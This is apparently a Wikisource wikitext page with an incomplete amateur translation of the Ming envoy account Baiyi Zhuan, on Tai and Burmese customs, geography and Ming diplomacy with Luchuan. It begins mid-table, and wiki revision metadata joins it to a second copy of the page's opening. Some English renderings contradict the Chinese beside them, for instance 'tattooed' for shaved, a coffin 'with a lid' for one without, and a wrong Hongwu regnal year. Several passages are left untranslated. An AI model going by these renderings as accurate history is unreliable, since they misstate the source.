armed force, known as '''Xīlà''' ('''锡剌'''). The '''Xīlà''' ('''锡剌''') grasped weapons to defend against the enemy, while surplus people carried to supply [them]. Hence, an army of fifty or sixty thousand will have fighters not filling twenty thousand. The soldiers were not organised; their rank formations were not uniform. Many used elephants for their imposing power; fighters tied their bodies onto the elephants. They wrapped leather into helmets, and were covered with copper mail plating, using long spears and crossbows, and did not practice bow and arrow. Any war or manufacturing encountering an eclipse would cease or [either] be destroyed. |- |所用多陶器，惟宣慰用金銀玻璃，部酋間用金銀酒器。凡部酋出，其器用、仆妾、财寶之類皆随之，從者千余，昼夜随所适，必作宴笑樂。 |Most utensils [they use] were pottery. Only the '''Xuānwèi''' ('''宣慰''') use gold, silver and glass. Tribal chiefs among them used gold, silver and wine cups. Commonly [when] tribal chiefs go out, their utensils, servants, concubines, money, jewels and so on all subsequently all follow him. He is accompanied by over a thousand followers. Day and night, wherever he subsequently goes, there will be feasts, laughter and music. |- |男子衣服多效胡服，或衣宽袖長衫，不识裙袴。其首皆髡，胫皆黥。不髡者殺之，不黥者眾叱笑，比之婦人。婦人髻绾於後，不谙脂粉，衣窄袖衫，皂統裙，白裹頭，白行缠，跣足。其俗賤婦人，貴男子，耕织徭役担负之類，雖老婦亦不得少休。嫁娶不分宗话，不重处女。年未笄，听與男子私，從至其家，男母为之濯足，留五六昼，遣歸母家，方通媒妁，置财礼娶之。凡生子，貴者浴於家，賤者浴於河，數日，授子於夫，仍服劳無倦。酋長妻數十，婢百余，不分妻妾，亦無鮅忌。男女浴於河，雖翁婦叔嫂，相向無耻。子弟有職名，則受父兄跪拜。父母亡，用婦祝尸，亲邻咸馈酒肉，聚年少环尸歌舞宴樂，婦人擊碓杵，自旦達宵，數日而後葬。其棺若馬槽，無蓋，置尸於中，抬往葬所，一人執刀持前导。及瘗，其生平所用器物，坏之於側而去。 |Many men's clothes mainly imitate non-Han clothing, or they wear wide-sleeved long gowns, not knowing skirts or trousers. Their heads are all tattooed, their shins are all tattooed. Untattooed heads would be killed, and untattooed legs would be laughed at and compared to women. Women tied their hair into a topknot at the back; they are not versed in cosmetics, and their clothes are narrow-sleeved garments [jackets] and a soap-style skirt. [Her] head is wrapped in white, her body is wrapped in white, and they go barefoot. Their custom is women, commoners, noblemen, must all undertake compulsory labour service and so on. Even old women must not rest a little. Marriage does not distinguish clan or language or virginity [of women]. Before even fifteen years, they are allowed private liaisons with men. She follows him to his home, and the man's mother washes her feet. She remains there for five or six days, [she] is then sent back to her mother's house. Then they communicate with a matchmaker and buy betrothal gifts to take her as a wife [for him]. Ordinarily with the birth of a child, a nobleman bathes in the home, while commoners bathe in the river. For a few days, she gives the child to her husband and continues to dress, toil, and work without tiring. The wives of a tribal chief number ten, his slave girls can surpass one hundred, there is no distinction between wife and concubine, also there is no '''Bìjì''' ('''鮅忌''').<ref>Unsure as to what this means. The first character is a type of fish and an extremely obsolete character not used anymore. It is a compound to something about jealousy, however I do not know what this compounded term relating to jealousy might be. Preliminary thought would be, the wives do not compete, or do not dread their hierearchy? </ref> Men and women bathe in the river, even old men, women, uncles, sister-in-laws [bathing] face to face have no shame. If a child has an office title, then they will be accepted, and the father and brothers will kneel and kowtow to him. When parents die, they use women to pray for the corpse. Relatives and neighbours all make an offering of wine and meat. They assemble young people around the corpse, singing and dancing, making merry. Women strike the pestle from dawn to night, and only after a few days, they bury the dead. The coffin seems like a horse trough, with a lid; they cover the corpse in the middle. They lift and carry the coffin to the burial place; one person holds a knife and leads the way. When the burial takes place, the objects the deceased had used during their life are broken beside the burial, and then people depart. |- |} ===Ethnic Groups and customs=== {| class="wikitable" style="text-align:center; width:80%;" |+ A list of ethnic groups encountered and their traditions and general customs. |- ! scope="col" | Original ! scope="col" | Translation |- |其俗，不祀先，不奉佛，亦無僧道。小百夷居其境之東北邊，或学阿昌，或学蒲蠻，或仿大百夷，其習俗不一。 |Their customs do not offer sacrifices [to ancestors], do not revere the Buddha. There are no Buddhists and Daoists [among them]. The Lesser One Hundred Barbarians reside on the northeast border, following Āchāng ('''阿昌''') customs, following Pú ('''蒲''') customs and some imitate the Greater One Hundred Barbarians. Their customs are not the same (uniform). |- |車里，亦谓小百夷，其俗刺额、黑齒、剪發，狀如頭陀。 |[The people of] '''Chē lǐ''' ('''車里''')<ref>'''Chē lǐ''' ('''車里''') refers to the Cheli Military and Civilian Pacification Commissioners Office. It was a Tai State that located at Jinghong City in modern day Xishuangbanna in Yunnan.</ref>, are also called Lesser One Hundred Barbarians. Their customs are tattooing foreheads, blackening teeth and cutting hair. Appearing as if like ascetic monks. |- |哈刺，男女黑真黑。男子以花布为套衣，亦有效百夷制者；婦人髻在後，项系雜色珠，以娑罗布披身上为衣，横系於腰为裙（娑罗布即中國木棉布，坚厚，或织以青红纹）。仍环黑藤數百围於腰上，行缠用青花布，赤脚（蒲蠻、阿昌，事見《雲南志》）。 |'''Hā cì''' ('''哈刺'''), men and women are [both] black, truly black. Men use printed cloth<ref>g</ref> for covering themselves, also which the One Hundred bararians effectively manufacture; married women have top knots behind [their head]. It is tied at the back of their neck with various pearls and beads. '''Suō luó''' ('''娑罗''')<ref>'''Sarong''' today, however this appears to be a complex term with many copyediting issues historically, Brahmin drapes, Suoluolong, eventually describing a type of silk-cottob robe made from plant materials.</ref> are draped around their bodies as clothes, horizontally it connected at the waist and lower back as a skirt. ('''Suō luóbù pī''' ('''娑罗布披''') namely is the Chinese Cotton Tree (Bombax Ceiba) cloth, strong and thick, possibly weaved as blue, red patterns.) Yet it encircles black rattan several hundred times, wrapped at the waist and lower back, it wraps around [their leg] to be used as a blue printed cloth [as they're] barefoot. ([Used amongst the] Pú mán (蒲蠻), āchāng (阿昌), shì jiàn (事見); [according to the] The Yunnan Gazeteer<ref>Written by Fan Chuo of the 9th century, also known as 蛮书 (Barbarian Document)</ref>.) |- |古刺，男女色甚黑。男子衣服装飾類哈刺，或用白布为套衣。婦人如罗罗狀（罗罗見《雲南志》）。 |'''Gǔ cì''' ('''古刺''') [people] are coloured extremely black. The men's clothes, decorations and adornments closely resembled the '''Hā cì''' ('''哈刺'''), and they use white cloth as [outer] covering garments. Married women resemble the '''Luó luó''' ('''罗罗''') [people]. ([For the] '''Luó luó''' ('''罗罗''') see The Yunnan Gazeteer.) |- |漂人，男女衣服皆類百夷。婦人以白布缠頭，衣露腹，以红藤缠之，娑罗布为裙，两接，上短下長，男女同耕。 |Pyu people<ref>This is the last time a document mentions the existence of Pyu people, namely. The Burmese stopped mentioning them by the 12th century, as did the Persians in the 10th century. Their retention of it suggests that absorption was slower and that the Burmese and Pyu were still distinct, according to the envoys.</ref>, [the] men and women's clothes all resemble the One Hundred Barbarians. Married women wear white cloth wrapped around their head, their clothes expose their stomach/ naval. By means of red rattan winding around them, the '''Suō luó''' ('''娑罗''') [is worn] as a skirt. Two [cloths] connect, upper [cloth] is short, bottom [cloth] is long. Men and women [both] till [the fields]. |- |緬人，色黑類哈刺，男女頭上以白布缠高三四尺，衣大袖白布衫，腰以下一布通前後便缠之，貴者布長二丈余，賤者不一丈。甚善水，嗜酒。其地有树，狀若棕，树之杪有如筍者八九茎，人以刀去其尖，缚瓢於上，過一宵則有酒一瓢，香而且甘，飲之輙醉。其酒经宿必酸，炼为烧酒，能飲者可一盏。有为僧者，以黄布为袈裟，袒右手，戒行極精，午後不飲食。婦人貌陋甚淫，夫少不在，則與他人私，遂为夫婦。以白布裹頭而披花为衣。 |Burmese people, [their] colour is black like the '''Hā cì''' ('''哈刺'''). Men and women [both] on their heads have white cloth wrapping around it [aproximately] as long as three to four '''Chǐ''' ('''尺''';1.2 m-1.36 m). Their clothes are large-sleeved white cloth garments. Below the waist and lower back, one cloth goes all around to be wrapped around them. Expensive cloth is as long as two '''zhàng''' ('''丈'''; 6.2m-6.8m). Inexpensive [cloth] is not even one '''zhàng''' ('''丈'''; 3.1m-3.4m). They are extremely well-disposed to water and fond of wine. On their land, their trees appear as palm trees. They cultivate eight to nine stalks, with the tips of the leaves resembling bamboo shoots. The people take knives and cut off the tips. They bind a dried gourd ladle to it. After one night, it becomes a gourd of wine, fragrant and sweet to drink to intoxication. Their wine, undergoing [another] night, certainly becomes bitter; it gets refined into '''Shāojiǔ''' ('''烧酒''')<ref>A famous Tang Dynasty wine beverage.</ref>. [Heavy] drinkers can only drink one small cup. There are monks. Yellow cloth is used as Kasaya robes (Buddhist robes) with the right arm remaining bare. They strictly adhere to the utmost discipline. They do not eat or drink in the afternoon. Women's appearances are excessively plain, and they are promiscuous. If husbands are away briefly, they enter into relations with other men and succeed as a married couple. White cloth is wrapped around their head and draped on their shoulders in a printed way. |- |哈杜，巢居山林，無衣服，不识农业，惟食草木禽兽，善骑射。冷則抱巨石，山坡間往復奔走，以汗出为度。 |'''Hā dù''' ('''哈杜''') [people] reside in nests in mountain forests; they do not wear clothes. They have no knowledge of agriculture. Only eating vegetation and birds and creatures. They are adept at horses and archery. [When] cold, they grab a boulder and make running trips back and forth between mountainsides until they perspire out to the temperature. |- |弩人，目稍深，貌尤黑，额颅及口邊刺十字十余。 |'''Nǔ''' people ('''弩人'''; crossbowman people), [have] deep-set eyes, [their] appearance is outstandingly dark. Their forehead and mouth edges are tattooed with crosses more than ten times. |- |有结些者，從耳尖連颊皮破，以象牙为大圈，横贯之，以花布裹頭，而垂余布於後，衣半身衫，而袒其肩。婦人未详。其人居戛璃者多。 |[There] is some knotted "Zo" people<ref>This translation is messy. However, it is the first use of the Zhexie/Jiexie term, which was popularised during the Qing era. However, this early, 些 Xie was actually Suo, like the Mosuo people. Hence, the name appears to be a misrendering of Zo people from an intermediary translator, possibly.</ref>, from the tips of the ears to the cheeks, the skin is pierced. Using ivory as a large ring, they pass it horizontally through [the pierced skin]. Printed cloth is wrapped around the head and hangs down onto their back as a partially wrapped robe and bears their shoulders. Nothing is known/reported concerning the women.<ref>Likely possibly meaning that the women are indistinguishable from men. An observation echoed by the British of the Zo people during the colonial era.</ref>. Many of these people habitat at '''Kalay'''. |- |諸夷言语習俗雖异，然由大百夷为君長，故各或效其所为。夷人有名不讳，無姓。 |Although the various barbarian languages and customs are different, they follow the Greater One Hundred Barbarians as their central ruler. Therefore, possibly each group imitates that they do. The Yi people have names but observe no naming taboos; they have no surnames. |- |無医卜等书。不知时节，惟望月之盈亏为候。有事惟鸡卜是决。疾病不知服药，以姜汁注鼻中。病甚，命巫祭鬼路側，病疟者多愈，病熱者多死。地多平川沃土，民一甸率有數十千户，眾置貿易所，谓之街子。婦人用锄地，事稼穑，地利不能尽，然多产牛、羊、鱼、果。 |There are no books on medicine and divination. They are unaware of seasons. Only the moon in its waxing and waning is observed. For matters, a chicken is used for divination. For diseases they do not know how to take medicine. They pour ginger juice into their noses. For extreme sickness, the shaman offers spirit sacrifices next to the road. Those suffering from malaria are likely to recover. Those with a fever are more likely to die. The land is flat with plains and fertile, the people of a district can lead up to ten thousand households. They install commercial trade posts known as ''street markets'' ('''街子'''; Jiē zǐ). Women hoe and weed the soil and [attend] matters to do with sowing and reaping. The productivity of land cannot be exhausted, as there are many ox, sheep, fish and fruits. |- |其气候：春夏雨，秋冬晴，腊月亦如春，昼暄夜冷，晓多烟雾，無霜，春秋烟瘴甚盛。 |Their climate: In spring and summer, it rains. In autumn and winter, it is clear. In the 12th Lunar month ('''December-Feburary''') it feels like spring. The daytime is warm, and the nighttime is cold. At dawn, there is a lot of fog. They have no frost. Spring and Autumn miasma carries an excessive level of malaria. |- |其飲食之异者：鳅、鳝、蛇、鼠、晴蜓、虫负、蛟、蝉、蝗、蚁、蛙、土蜂之類以为食；鱼肉等汁暨米汤信宿而生蛆者以为飲。 |Their food and drink are unusual in the following ways. Loach, eels, snakes, dragonflies, insects, aquatic animals, cicadas, locusts, ants, frogs, and scoliod wasps are all types of food. They drink the juice of fish, meat, and rice gruel, which, over two nights, gain maggots, which are eaten. |- |其草木禽兽之异：草則秋間數十百株结为一聚，地产此草，烟瘴尤甚。树木多有三四株结为連理。有大如斗之柑，有鲇頭鲤身之鱼，水牛頭黄牛身之牛，绵羊頭山羊身之羊。雄鸡多伏卵，亦有生卵者。者闌有一池，沸如汤，人多投肉熟之。 |Their plants and animals are unusual: in autumn, their grass joins from hundreds of stalks to cluster. The land these grasses grow on has an excessively strong malarial miasma. Trees often produce multiple stumps in a fusion. There are large tangerines as large as dippers. There is [a] fish with a sheatfish head and carp bodies. There are oxen with water buffalo heads and yellow ox bodies. There are sheep with sheep heads and mountain goat bodies. Roosters brood over eggs, there are also [males] that lay eggs. At '''Zhě lán''' ('''者闌''')<ref>On the Shan Myanmar and China border near Muse.</ref>, [the size of] ponds for boiling soup. People often cast mature meat in it. |- |境内所产珍物：雅琥、琥珀、犀、象、鹦鹉、孔雀、鳞蛇、脑、麝、阿魏、金、銀、玻璃之類。 |Within its borders are the following precious items it produces: elegant amber, amber, rhinoceros, elephant, parrots, peacocks, snake scales, brains, musk deer, Resina Furelae, gold, silver, glass types of products. |- |其山水险隘。北有高良弓山，横亘二百余里，高五十余里，與怒江相倚。西有馬安山，山有一关，若一人守关，萬夫难入。東为麓川江，可通舟楫。南與金沙江合而入於西海。南下交趾界。金沙江之南，有東胡、得冷、緬人三國。緬之西即西天也。 |The mountains have narrow, dangerous river passes. North there is the Gaoligong Mountains, it horizontally extends two hundred '''Lǐ''' ('''里'''), and is tall as five hundred '''Lǐ''' ('''里''') right next to the '''Nùjiāng''' ('''怒江'''). West is the '''Mǎ'ān Mountain''' ('''馬安山'''). The mountain has one mountain pass. If one person guards the pass, then ten thousand will struggle to enter. East is the '''Lù chuān River''' ('''麓川江'''). You can pass it in an oarboat. South is the '''Jīnshā River''' ('''金沙江''') which enters at the western sea. South it borders '''Jiāozhǐ''' ('''交趾'''; Vietnam). Further south of the '''Jīnshā River''' ('''金沙江''') are the three polities, which has '''Dōnghú''' ('''東胡'''； Eastern Barbarians), '''Dé lěng''' ('''得冷'''; Derung people) and '''Miǎn people''' ('''緬人'''; Burmese people). West of Burma lies the Western Regions<ref> A term for India and Central Asia, which were Buddhist.</ref>. |- |緬國古舍利國，又名狮子國，多佛塔。緬國與夷連歲横兵。洪武之亥冬，緬人诉於朝。丙子春，皇帝遣臣古训及桂阳李思聪至两國，諭以睦邻之义。 |Burma, formerly the '''Shèlì country''' ('''舍利'''), also known as the Lion Country, is filled with pagodas. Burma and the Yi Barbarians were in continuous warfare for years. During the reign of the Hongwu Emperor in the winter of the year of the boar ('''1395 A.D.'''), Burma issued a royal complaint. In Spring of the Year of the Rat, ('''1396 A.D.'''), the Emperor dispatched official Guxun and Li Cong of Guiyang to the two countries to order them to get on well as neighbours with righteousness. |- |} ===Statements and Relations between the Kingdoms=== {| class="wikitable" style="text-align:center; width:80%;" |+ Outcome of the envoys mission and political relations between Shans and Burmese. |- ! scope="col" | Original ! scope="col" | Translation |- |其諭緬國王曰： |In it, I addressed the King of Burma, saying: |- |『里路险遠，山川阻修，风殊俗异，此乃天造地設也。尔能勤使者，涉险遠，越邻邦以至中夏，其使者之难，冲烟突雾，晨進昏止，饥餐渴飲，吞吐烟岚，异风霜而方至。其为使者，不亦难乎！古人有云：诚君子將有事於遠，友千里之外，神交而志通。今萬里之外，尔能勤使而至，遠修其好，美絕古而惟今。然排难解纷之事，朕之旨意，恨不一言而正，使彼此各罢兵守，樂黎民於市野，民居共处，砃相邻而同井飲，籍雖两國之民，居处难分，惟存关市有讥，是其和也。若尔緬不主衅，夷不强凌，如此，雖弱自保，以奉天道。其或不听朕命，忿争不已，天將昭鉴，福善祸淫，迟速可待。鯩至，朕不多诫。但诚可以交天人，尔其审之，母忘朕諭。』 |The roads are dangerous, and far, mountains and rivers are obstructive and long. Their social ways and customs are different. This is what heaven and earth have established. Yet you are able to diligently [carry out your duties as an] envoy. Taking risks far, passing neighbouring countries to the Chinese heartland. Clashing with smoke, dashing through mist. Advancing at dawn and stopping at twilight, eating when hungry and drinking when thirsty. Breathing in and exhaling mountain vapours, enduring unfamiliar winds and frost before finally arriving. To be an envoy was this not difficult? The ancient people have a saying: <em>Truly, when a gentleman has affairs to undertake in distant places, he has friends a thousand <strong>Lǐ</strong> (<strong>里</strong>)， their spirits commune in spirit and their intentions are mutually understood.</em> Now ten thousand '''Lǐ''' ('''里''') away, you can diligently envoy and arrive, from afar cultivate their friendship. However, regarding the matter of resolving difficulties, this is my intention. I lament that I cannot settle the matter in a single utterance as to cause both sides to cease war and guard their territory so that the common people might enjoy marketplaces and countryside. Let the people coexist [as] neighbours of white stone who drink from the same well. Although registered as the people of two countries, their dwellings are difficult to distinguish. Only the inspections at frontier markets will remain. This would be peace between them. If the Burmese do not initiate hostility, and the '''Yi''' do not forcefully oppress you, in this way, althought [one is] weak it may defend itself, as to follow the law of heaven. If they do not listen to my order, angry contention will not cease; heaven will see it clearly. Blessed will the good, and calamity will be brought on the transgressor, quick or slow; the consequences will come. <strong>Lún</strong> (<strong>鯩</strong>) arriving, I will not elaborate further; only sincerity can bring one into accord with heaven and humanity. You must consider this; do not forget my instruction. |- |諭思侖發曰： |Above '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) spoke: |- |『朕中國先古圣人，驭顽礼德，各有条章。是条章也，列圣相继，守而行之，上下相安，黔黎樂业。何也？諸侯敬畏，世禄子孙，國祚绵長，乃九伐之功驗也。列國敢有凭弱犯寡者，天子發兵以眚之；贼贤害民者，亦發兵以伐之；暴内凌外，則兴師以坛之；野荒民散，則用兵以削之；负固不服，則舉兵以侵之；贼殺其亲，則正其罪以殺之；放弑其君，則明其罪以诛之；犯令凌政，則杜而絕之；内外乱，鸟兽行，則殄灭之。九伐之征如是也。尔思侖發，以中國较之，合问凭弱犯寡之由。何以見？歲以兵寇車里，不时侵掠八百，恃强犯緬；戛璃國小民寡，而已平之，斯说也，不過告诫之词。中國周临四夷，與諸酋長地里相接，居民亦相密迩，如此者，耳闻之邦若干，目擊之邦若干，朕未嘗恃强凭凌，絕灭其嗣者。雲南之地，已为我有，似乎尚强以取之，非也！乃元世子孙梁王者，恃元之苗裔，匿我有罪，納我逋逃，诱我邊守，是乃不得已而發问罪之師，非無故而兴師。此乃元运天更，其苗裔不当安处。况生事於我邻邦，其理势使然，夷如反掌。尔麓川之蠢，初擅兴金齒之役，次谋景東而寇定邊，理当大發精兵而较胜负。朕释而不较，未嘗强尔为約束之邦，听尔自为声教，今又几年矣。近闻蚕食邻邦，意在扩土地而擅有其眾，又將为我西南之役。噫，未可！古中國圣人有云：‘山川地理人物之類，乃神器也，非人强有，必天授然後得之’。尔思侖發不修邻邦之好，三面發兵，蚕食諸國，其贪也如是，其谋也如是。彼麓川周临之國，始古至今，各有主者，未嘗吞并。朕雖不能止尔，听尔自为，果天道使然，尔以人事应之，或为而可。噫！以朕戒尔守全則可，不守全而以全动，設若全亏，是为全亡，莫如守全以圖绵長，不亦美乎？』 | |- |由是二國罢兵和好。 |because of the truth, the two countries ceased war and reconciled. |- |时古训等适遇百夷其部下酋長曰刀干孟者叛其國，余等以大义諭其部眾，而叛者闻之稍却。於是，思侖發欲留余等以为援，且進以金寶象馬等物，故余以书示之曰： |At the time, Guxun, happened to encounter One Hundred Barbarians subordinate chief named '''Dāo gànmèng''' ('''刀干孟''') betray the country. We and the others explained/instructed his followers on the basis of the great principle/righteous cause and as a result, the rebels hearing it gradually withdrew. As a result, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) wished to preserve us as a source of assistance. He offered gold, valuables, elephants, horses and other gifts. Hence I presented this letter to reveal to him saying: |- |『吾闻君上有怀遠之德，遠臣有敬上之心，始古迄今，莫违此义。夫君居九重之上，雖欲顷刻目尔遠臣，未可得也，臣处萬里之外，即欲朝暮身亲君上，亦未易得也。故朝廷有將命之官，使之宣德布威；而遠方有承命之宜，期其輸忠納款。今天子应天顺民，奉天为治，四维八極，尽为臣妾，無有专擅，不敢违逆。西南一区，夷酋亦眾，惟尔麓川，多蒙恩宠，既受以官，復加以服。况贤王亲临尔境，而德惠數及尔身。为尔计，則將度其心，量其才，何为而可以尽忠天子，何为而可以致敬贤王，又何为而可以安邊境而不干天怒，又何为而可以教百姓而不违法度？借曰邊境不安，必思曰，我事上未忠或未至，而眾不服我耶？百姓违法，必思曰，我守職已或有僭而民亦犯上耶？於是我則尽其忠，去其僭，如此，則邊境自安，人民從教矣。且吾以尔目擊效驗明之：往年思瓦發不服朝廷，轻犯金齒，天子雖未问罪，天則假手於達鲁方等，而思瓦發被戮。刀思朗不從尔命，窃寇定邊，尔雖未能息其兵，天則助威於我邊將，而刀思朗等即灭。惟尔知天命，達人理，故能享天禄，守人爵。迩来天子恐尔所为，或涉放肆，特敕諭以戒之；贤王恐尔無知，或生疑懼，特令旨以恤之。此恩此德，穷天極地。尔之披肝露胆，开心見诚，吾尽見矣；尔之尊重朝廷，敬奉殿下，告亦見矣。今尔固留吾辈，其意本美。近者尔甸寨少宁，刀干谋异，吾將回朝为尔明白其事，尔乃留我，使我不速還朝，假如刀干鸣尔留难天使之非於朝，則反误尔敬君之心矣。且尔赠以金、銀、裀褥、馬、象等物，吾固不受者，非見怪也，實相爱也。何則？朝廷恩尔，抚安尔邦，未嘗令使者取货於尔也。夫货财，饥不可以充口，疾不可以救死。况中國金玉成山，象馬若蚁，未以为寶也，惟所寶者，圣君、明王、忠臣、烈士、强兵、勇將、孝子、顺孙等事，其他财物，如粪土耳。姑以尔境内眾所闻者明之：昔隋史萬歲守邊，夷而贪财，以致殺身。梁毗一金不受，而大服夷眾。此事甚白。吾为圣朝天使，必不为财物所蛊，惟恐吾之使令往来小人，不体吾意，蛊惑尔心，特此叮咛。尔其备审此书，体吾真意，早送吾辈還朝，則尔敬君之心，不浅浅也。』 | |- |书至，思侖發悦服，遂邀至其家，設宴畢，與其眾送出境外。 |When the letter arrived, '''Sīlúnfā''' ('''思侖發'''; Hsö Hom Hpa) was pleased, and received it favourably. Thereupon invited him to his home. After the banquet, together with his retinue escorted them beyond the borders. |- |百夷，由金齒、蒲漂過怒江即其境。沿江東數十里，上有高良弓頗险。其岭有一寨。過一寨下四十里，地名养列，自此抵麓川無险隘之虞。由麓川经蠻牛、莽港等路，渡谨卯，從蒙戛等甸至麻林界，登金沙江之舟，下流二十日至緬國。國王眾呼为卜剌浪，王之妻呼为米泼剌。 |The One Hundred Barbarians, via the Gold Teeth, '''Pú''' ('''蒲'''), '''Pyu people''', upon crossing the '''Nùjiāng River''' ('''怒江''') reach their territory. Along the river, east about ten <strong>Lǐ</strong> (<strong>里</strong>), there is the tall, rugged, dangerous Gaoligong [mountains] above. The mountain range has one stronghold. Passing a stronghold, below forty '''Lǐ''' ('''里''') is a place named '''Yǎng liè''' ('''养列'''), since then reaching the '''Lùchuān''' ('''麓川''') there is no concern of dangerous narrow passes. Following '''Lùchuān''' ('''麓川''') pass through the routes of '''Mánniú''' ('''蠻牛'''), '''Mǎnggǎng''' ('''莽港''') and other places, crossing '''Jǐnmǎo''' ('''谨卯'''), from the district of '''Ménggā''' ('''蒙戛''') to the '''Málín''' ('''麻林''') border, [one must] board a boat on the '''Jīnshā River''' ('''金沙江'''), downriver twenty days one reaches Burma. The king is referred by the populace as '''Bōlàlàng''' ('''卜剌浪'''), the king's wife is referred to as '''Mǐpōlà''' ('''米泼剌'''). |- |} ==References== {{reflist}} [[Category:Chinese literature]] [[Category:Non-fiction books]] [[Category:Medieval historical works]] [[Category:Works originally in Chinese]] [[Category:Pages with foreign language text]] [[Category:Indigenous peoples]] [[Category:Guidebooks]] [[Category:History of China]] [[Category:Wars]] [[Category:Diplomacy of China]] [[Category:Subject:Military history]] [[zh:蛮书]] 6i0kfzbyq82plfiwo0z9hdjzsd6tfa1 4670887 4670866 2026-09-18T09:23:04Z Taitesena 3485636 4670887 wikitext text/x-wiki __NOTOC__ {{incomplete translation}} {{Translation header | title = Baiyi Zhuan (百夷傳) | author = Qian Guxun (錢古訓) | override_editor = | translator = 'Taitesena' | section = | previous = | next = | shortcut = | year = | language = zh | original = | notes = The Baiyizhuan, or, '''Biography of 100 Barbarians''', was compiled by Qian Guxun (錢古訓) with Li Sicong (李思聪) and sent to the Ming Dynasty but never formally published yet stored away. Copies emerged under both names however, most agree that both envoys wrote their own accounts of Myanmar to control the issue of Shan Kings on the borders. This version is attributed to Qian Guxun and sourced from Wikisource. }} == Front Matter == # [[Baiyi Zhuan/Translator's Note|Translator's Note]] # [[Baiyi Zhuan/Influences|Historical Context]] ==Translation== ===Introduction=== {| class="wikitable" style="text-align:center; width:80%;" |+ Premable to the purpose and context of the document and political situation. |- ! scope="col" | Original ! scope="col" | Translation |- |百夷，在雲南西南數千里，其地方萬里。景東在其東，西天古刺在其西，八百媳婦在其南，吐番在其北；東南則車里，西南則緬國，東北則哀牢〈（今之金齒衛也）〉，西北則西番、回紇。 |[The] One Hundred Barbarians are a few thosand '''Lǐ''' ('''里''') southwest of Yunnan. There region is very far away. '''Jǐngdōng''' ('''景東''') is east of them. The western regions Gǔ cì (古刺) [people] are west of them. South of them are the '''Eight Hundred Xífù''' ('''八百媳婦'''; Laos). North of them is Tibet. Southeast of them is Chē lǐ (車里), southwest is Burma, Northeast is '''Āiláo''' ('''哀牢''')<ref>The ancient tribal confederation of the Yongchang-Gaoligong area.</ref> Today, these are the gold tooth people. Northwest of them is Western Barbarians and '''Huíhé''' ('''回紇'''; Uyghur people). |- |俗有大百夷、小百夷、漂人、古剌、哈剌、緬人、结些、吟杜、弩人、蒲蠻、阿昌等名，故曰百夷。 |The customs of Greater One Hundred Barbarians, the Lesser One Hundred Barbarians, Pyu people, Gǔ cì (古刺) [people], Hā cì (哈刺) [people], Burmese people, '''jiēsuò''' （'''结些''')<ref>There is reason to believe that these may be the Zo people. The Jie however is difficult to understand, likely a terminology transfer issue from intermediaries. Like the Mosuo people, I suggest this to be read as Jie Suo. If so, this would be the earliest mention of Zo terminology since Vincent Sangermono.</ref>, '''Yíndù'''（'''吟杜''')<ref>These are only mentioned once in the document. Whether it's a mix-up with Hadu, or referring to Indians, is unknown.</ref>, Nǔ people (弩人; crossbowman people), Pú (蒲) and Āchāng (阿昌), among others, can be spoken of as the One Hundred Barbarians. |- |漢以前未嘗通中國，諸葛亮征蠻，亦抵怒江而止。唐天寶中，夷人始随爨歸王入朝。其眾各有部領，不相統屬。 |Before the Han dynasty, they had no contact with China.<ref>The main exception may be the Ailao people.</ref> '''Zhūgé liàng''' ('''諸葛亮''') went on an expedition against the barbarians, where he stopped right up against the '''Nùjiāng River''' ('''怒江'''). During the Tianbao Era of the Tang Dynasty, the barbarians began to follow the '''Cuàn''' ('''爨''') and '''Guī''' ('''歸''') clan leaders.<ref>The '''Cuàn''' ('''爨''') eventually founded the Kingdom of Nanzhao, which ruled powerfully in the region, competing with Tibet and Tang China.</ref> The people had their own leaders and were not unified. |- |元憲宗三年，世祖由吐番入麗江，自葉榆平至雲南〈（葉榆即大理也）〉。明年，命將兀良哈臺征降夷地。遂分为路二十、府四、甸四十有四、部二十有六、各設土官，置金齒都元帥府領之。有所督，委官入其地，交春即還，避瘴气也。 |In Emperor Xianzong's 3rd year in the Yuan Dynasty, Emperor Shìzǔ (世祖; Kublai Khan) entered '''Lìjiāng''' ('''麗江''') from Tibet and himself in '''Yèyú''' ('''葉榆'''; Present Day Dali) brought peace to Yunnan. The following year, [he] commanded General UriyangKhadai to pacify the barbarian lands. The region was transformed into twenty circuits, four prefectures, forty-four districts and twenty-six departments, each with indigenous officials overseen by the Gold Teeth Commander in Chief.<ref>A Tai Shan Leader likely.</ref> Officials were appointed to administer certain lands, returning by spring to avoid malarial miasma. |- |至正戊子，麓川土官思可發數侵扰各路，元帥搭失把都討之，不克。思可發益吞并諸路，而遣其子滿散入朝，以輸情款。雖奉正朔，納職貢，而服用制度，擬於王者。思可發死，子昭併發立。八年，傳其子臺扁。踰年，臺扁從父昭肖發殺之而自立，期年，盗殺昭肖發，眾立其弟思瓦發。 |In the the 8th year of the Zhizheng era ('''1348 AD''') Lùchuān (麓川) indigenous chief '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) had been countlessly harassing and invading every road. The Commander-in-Chief '''Dāshībǎ''' （'''搭失把'''） sent armed forces to the capital but was unable to. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) annexed further circuits and dispatched his son '''Mǎnsàn''' ('''滿散''') to the imperial court to offer terms of service. Although they accepted tribute and the official calendar of the Ming dynasty, their clothes and administration resembled that of a monarchy. '''Sī kě fā''' ('''思可發'''; Hsö Hkan Hpa) died, his son Zhāo bìngfā ('''昭併發'''; Hsö Pem Hpa) was established. Eight years later it passed to '''Táibiǎn''' ('''臺扁'''; Hsö Siu Hpa). A year later, '''Táibiǎn's''' ('''臺扁'''; Hsö Siu Hpa) uncle '''Zhāo xiàofā''' ('''昭肖發'''; , Hsö Kap Hpa) killed him himself and seized power. A year later, bandits killed '''Zhāo xiàofā''' ('''昭肖發'''; Hsö Kap Hpa) and established his younger brother '''Sīwǎfā''' ('''思瓦發'''; Hso Vau Hpa) [as ruler]. |- |國朝洪武辛酉，平雲南。明年，思瓦發寇金齒。是冬，思瓦發略于者闌、南甸。其屬達鲁方等輙立滿散之子思侖發，而殺思瓦發於外。即譴使貢白象、犀、馬、方物於朝。廷議不忍絕以化外，乃命福建左參政王鈍率雲南部校郭京美等，諭以向背利害，約以每歲貢獻之率，而遂内附。於是授思侖發为麓川平緬軍民宣慰。丙寅，復寇景東。明年，部屬刁思朗犯定邊，天子命西平侯沐英總兵敗之，獲刁思朗，夷人懼服。上以遠人不加約束，故官稱制度皆從其俗。 |In the current dynasty, in the 58th year (Xinyou) of the Hongwu Emperor ('''1381 A.D.'''), Yunnan was pacified. The next year, '''Sīwǎfā''' ('''思瓦發'''; Hsö Vau Hpa) plundered the 